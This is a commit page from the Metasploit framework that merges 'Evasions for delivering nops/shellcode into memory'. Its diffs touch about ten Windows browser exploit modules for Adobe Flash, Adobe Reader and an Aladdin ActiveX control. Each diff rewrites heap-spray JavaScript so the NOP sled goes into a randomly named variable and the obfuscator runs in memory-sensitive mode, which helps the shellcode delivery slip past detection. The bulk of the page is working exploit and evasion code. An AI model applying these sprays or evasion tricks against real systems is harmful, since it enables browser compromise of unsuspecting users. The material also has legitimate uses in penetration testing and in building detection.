Skip to content

Commit 9d2e8b1

Browse files
author
Brent Cook
committed
Land rapid7#8003, Evasions for delivering nops/shellcode into memory
2 parents 809d0f7 + 6708696 commit 9d2e8b1

File tree

96 files changed

+371
-175
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

96 files changed

+371
-175
lines changed

modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -208,11 +208,13 @@ def on_request_uri(cli, request)
208208

209209
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
210210
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
211+
randnop = rand_text_alpha(rand(100) + 1)
211212

212213
js_pivot = <<-JS
213214
var heap_obj = new heapLib.ie(0x20000);
214215
var code = unescape("#{js_code}");
215-
var nops = unescape("#{js_nops}");
216+
var #{randnop} = "#{js_nops}";
217+
var nops = unescape(#{randnop});
216218
217219
while (nops.length < 0x80000) nops += nops;
218220
var offset = nops.substring(0, #{my_target['Offset']});

modules/exploits/windows/browser/adobe_flash_rtmp.rb

Lines changed: 7 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -138,11 +138,13 @@ def get_rop_chain(t)
138138
end
139139

140140
def get_easy_spray(t, js_code, js_nops)
141+
randnop = rand_text_alpha(rand(100) + 1)
141142

142143
spray = <<-JS
143144
var heap_obj = new heapLib.ie(0x20000);
144145
var code = unescape("#{js_code}");
145-
var nops = unescape("#{js_nops}");
146+
var #{randnop} = "#{js_nops}";
147+
var nops = unescape(#{randnop});
146148
147149
while (nops.length < 0x80000) nops += nops;
148150
@@ -166,11 +168,13 @@ def get_easy_spray(t, js_code, js_nops)
166168

167169

168170
def get_aligned_spray(t, js_rop, js_nops)
171+
randnop = rand_text_alpha(rand(100) + 1)
169172

170173
spray = <<-JS
171174
172175
var heap_obj = new heapLib.ie(0x20000);
173-
var nops = unescape("#{js_nops}");
176+
var #{randnop} = "#{js_nops}";
177+
var nops = unescape(#{randnop});
174178
var rop_chain = unescape("#{js_rop}");
175179
176180
while (nops.length < 0x80000) nops += nops;
@@ -370,7 +374,7 @@ def on_request_uri(cli, request)
370374

371375
if datastore['OBFUSCATE']
372376
js = ::Rex::Exploitation::JSObfu.new(js)
373-
js.obfuscate
377+
js.obfuscate(memory_sensitive: true)
374378
end
375379

376380
swf_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource

modules/exploits/windows/browser/adobe_flash_sps.rb

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -114,11 +114,13 @@ def on_request_uri(cli, request)
114114

115115
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
116116
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
117+
randnop = rand_text_alpha(rand(100) + 1)
117118

118119
js = <<-JS
119120
var heap_obj = new heapLib.ie(0x20000);
120121
var code = unescape("#{js_code}");
121-
var nops = unescape("#{js_nops}");
122+
var #{randnop} = "#{js_nops}";
123+
var nops = unescape(#{randnop});
122124
123125
while (nops.length < 0x80000) nops += nops;
124126
var offset = nops.substring(0, #{my_target['Offset']});
@@ -138,7 +140,7 @@ def on_request_uri(cli, request)
138140

139141
if datastore['OBFUSCATE']
140142
js = ::Rex::Exploitation::JSObfu.new(js)
141-
js.obfuscate
143+
js.obfuscate(memory_sensitive: true)
142144
end
143145

144146
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']

modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -208,6 +208,9 @@ def on_request_uri(cli, request)
208208
js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"
209209
end
210210

211+
randnop = rand_text_alpha(rand(100) + 1)
212+
js_nops = Rex::Text.to_unescape("\x0c"*4)
213+
211214
js = <<-JS
212215
function heap_spray(heaplib, nops, code, offset, max) {
213216
while (nops.length < 0x2000) nops += nops;
@@ -222,7 +225,8 @@ def on_request_uri(cli, request)
222225
}
223226
224227
var heap_obj = new heapLib.ie(0x20000);
225-
var nops = unescape("%u0c0c%u0c0c");
228+
var #{randnop} = "#{js_nops}";
229+
var nops = unescape(#{randnop});
226230
var code = unescape("#{shellcode}");
227231
heap_spray(heap_obj, nops, code, #{my_target['Offset1']}, #{my_target['Max1']});
228232
var fake_pointers = unescape("#{pivot}");
@@ -234,7 +238,7 @@ def on_request_uri(cli, request)
234238
#Javascript obfuscation is optional
235239
if datastore['OBFUSCATE']
236240
js = ::Rex::Exploitation::JSObfu.new(js)
237-
js.obfuscate
241+
js.obfuscate(memory_sensitive: true)
238242
end
239243

240244
trigger_file_name = "#{get_resource}/#{rand_text_alpha(rand(3))}.swf"

modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -87,14 +87,16 @@ def on_request_uri(cli, request)
8787

8888
# Make some nops
8989
nops = Rex::Text.to_unescape(make_nops(4))
90+
randnop = rand_text_alpha(rand(100) + 1)
9091

9192
# Randomize variables
9293
rand1 = rand_text_alpha(rand(100) + 1)
9394
rand2 = rand_text_alpha(rand(100) + 1)
9495

9596
script = %Q|
9697
var #{rand1} = unescape("#{shellcode}");
97-
var #{rand2} = unescape("#{nops}");
98+
var #{randnop} = "#{nops}";
99+
var #{rand2} = unescape(#{randnop});
98100
while (#{rand2}.length < #{target['Size']}) #{rand2} += #{rand2};
99101
#{rand2} = #{rand2}.substring(0, #{target['Size']} - #{rand1}.length);
100102
memory = new Array();

modules/exploits/windows/browser/adobe_geticon.rb

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -91,13 +91,15 @@ def on_request_uri(cli, request)
9191
rand10 = rand_text_alpha(rand(100) + 1)
9292
rand11 = rand_text_alpha(rand(100) + 1)
9393
rand12 = rand_text_alpha(rand(100) + 1)
94+
randnop = rand_text_alpha(rand(100) + 1)
9495

9596
script = %Q|
9697
var #{rand1} = unescape("#{shellcode}");
9798
var #{rand2} ="";
98-
for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}");
99+
var #{randnop} = "#{nops}";
100+
for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{randnop}");
99101
#{rand4} = #{rand2} + #{rand1};
100-
#{rand5} = unescape("#{nops}");
102+
#{rand5} = unescape(#{randnop});
101103
#{rand6} = 20;
102104
#{rand7} = #{rand6}+#{rand4}.length
103105
while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};

modules/exploits/windows/browser/adobe_jbig2decode.rb

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -85,16 +85,18 @@ def on_request_uri(cli, request)
8585
rand14 = rand_text_alpha(rand(50) + 1)
8686
rand15 = rand_text_alpha(rand(50) + 1)
8787
rand16 = rand_text_alpha(rand(50) + 1)
88+
randnop = rand_text_alpha(rand(100) + 1)
8889

8990
script = %Q|
9091
var #{rand1} = "";
9192
var #{rand2} = "";
9293
var #{rand3} = unescape("#{shellcode}");
9394
var #{rand4} = "";
95+
var #{randnop} = "#{nops}";
9496
95-
for (#{rand5}=128;#{rand5}>=0;--#{rand5}) #{rand4} += unescape("#{nops}");
97+
for (#{rand5}=128;#{rand5}>=0;--#{rand5}) #{rand4} += unescape(#{randnop});
9698
#{rand6} = #{rand4} + #{rand3};
97-
#{rand7} = unescape("#{nops}");
99+
#{rand7} = unescape(#{randnop});
98100
#{rand8} = 20;
99101
#{rand9} = #{rand8}+#{rand6}.length
100102
while (#{rand7}.length<#{rand9}) #{rand7}+=#{rand7};

modules/exploits/windows/browser/adobe_media_newplayer.rb

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -106,6 +106,7 @@ def on_request_uri(cli, request)
106106
rand3 = rand_text_alpha(rand(100) + 1)
107107
rand4 = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1')
108108
rand5 = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1')
109+
randnop = rand_text_alpha(rand(100) + 1)
109110

110111
vtbuf = [target.ret].pack('V') * 4
111112
vtbuf << rand_text_alpha(len - vtbuf.length)
@@ -114,8 +115,9 @@ def on_request_uri(cli, request)
114115

115116
# The printd strings are 72 bytes (??)
116117
script = %Q|
118+
var #{randnop} = "#{nops}";
117119
var #{rand1} = unescape("#{shellcode}");
118-
var #{rand2} = unescape("#{nops}");
120+
var #{rand2} = unescape(#{randnop});
119121
var #{rand3} = unescape("#{retstring}");
120122
while(#{rand2}.length <= #{target['Size']}) #{rand2}+=#{rand2};
121123
#{rand2}=#{rand2}.substring(0,#{target['Size']} - #{rand1}.length);

modules/exploits/windows/browser/adobe_utilprintf.rb

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -72,13 +72,15 @@ def on_request_uri(cli, request)
7272
rand9 = rand_text_alpha(rand(100) + 1)
7373
rand10 = rand_text_alpha(rand(100) + 1)
7474
rand11 = rand_text_alpha(rand(100) + 1)
75+
randnop = rand_text_alpha(rand(100) + 1)
7576

7677
script = %Q|
7778
var #{rand1} = unescape("#{shellcode}");
79+
var #{randnop} = "#{nops}";
7880
var #{rand2} ="";
79-
for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}");
81+
for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape(#{randnop});
8082
#{rand4} = #{rand2} + #{rand1};
81-
#{rand5} = unescape("#{nops}");
83+
#{rand5} = unescape("#{randnop}");
8284
#{rand6} = 20;
8385
#{rand7} = #{rand6}+#{rand4}.length
8486
while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};

modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -115,13 +115,15 @@ def initialize(info={})
115115
def ie_heap_spray(p)
116116
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(get_target.arch))
117117
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(get_target.arch))
118+
randnop = rand_text_alpha(rand(100) + 1)
118119

119120
# Land the payload at 0x0c0c0c0c
120121

121122
js = %Q|
122123
var heap_obj = new heapLib.ie(0x20000);
123124
var code = unescape("#{js_code}");
124-
var nops = unescape("#{js_nops}");
125+
var #{randnop} = "#{js_nops}";
126+
var nops = unescape(#{randnop});
125127
while (nops.length < 0x80000) nops += nops;
126128
var offset = nops.substring(0, #{get_target['Offset']});
127129
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
@@ -137,7 +139,7 @@ def ie_heap_spray(p)
137139

138140
if datastore['OBFUSCATE']
139141
js = ::Rex::Exploitation::JSObfu.new(js)
140-
js.obfuscate
142+
js.obfuscate(memory_sensitive: true)
141143
end
142144

143145
return js

0 commit comments

Comments
 (0)